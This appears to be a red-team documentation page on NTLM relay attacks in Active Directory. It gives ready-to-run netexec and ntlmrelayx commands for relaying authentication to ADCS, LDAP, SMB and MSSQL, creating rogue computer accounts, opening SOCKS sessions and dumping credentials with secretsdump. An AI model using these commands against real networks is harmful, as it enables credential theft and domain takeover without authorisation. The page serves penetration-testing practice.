> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/active-directory/initial-access/ntlm-relay.md). # NTLM Relay
### Relay Targets This priority list assumes a spread of privileges of the relayed principal; obviously you would want a relayed Enterprise Admin to SMB or LDAP on a DC, but this isn't always possible. **ADCS (HTTP)** Try to identify the CA server by hostname and check for web enrollment on `/certsrv/` . I encourage you to attempt a relay even if HTTP is disabled, or `Authentication: Negotiate` is enabled. EPA is finnicky, and it is worth trying for a TGT. ``` nxc ldap 10.10.10.10 -u lowpriv -p lowpriv -M adcs ntlmrelayx.py -6 -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs -of LOG ``` **LDAP/LDAPS** Attacks depend on relayed principal - computer account foothold, DA compromise, computer account for RBCD. ``` nxc ldap 10.10.10.0/24 # LDAP Shell (computer account often fails) ntlmrelayx.py -6 -t ldap://10.0.10.10 --no-da --no-acl --no-dump -of LOG --no-smb-server --no-validate-privs --keep-relaying # Create computer account ntlmrelayx.py -6 -t ldap://10.0.10.10 --add-computer JOTTERPC --no-da --no-acl --no-dump -of LOG --no-smb-server --no-validate-privs --keep-relaying ``` **SMB** Servers lacking SMB signing allow you to access network file shares or fully compromise the machine if you relay an Administrator. An RPC session is not established; all functions must proceed through SAMR or SMB. ``` nxc smb 10.10.10.0/24 --gen-relay-list relayable.txt ntlmrelayx.py -t 10.10.10.10 -smb2support -socks --keep-relaying proxychains impacket-secretsdump ``` **MSSQL** MSSQL servers may be discovered via netexec or portscan as well. ``` nxc mssql 10.10.10.0/24 ntlmrelayx -t mssql://10.10.10.10 -smb2support -socks --keep-relaying ``` ### "Background Relays" If the quick wins aren't coming in, setup two relays: one for SMB-to-SMB to a list of high-priority targets, and one for HTTP-to-LDAP if applicable. ``` ntlmrelayx.py -tf smb_relays.txt --no-http-server -smb2support -socks --keep-relaying --no-multi-relay ntlmrelayx.py -t ldap://10.10.10.10 --no-smb-server -socks -keep-relaying ```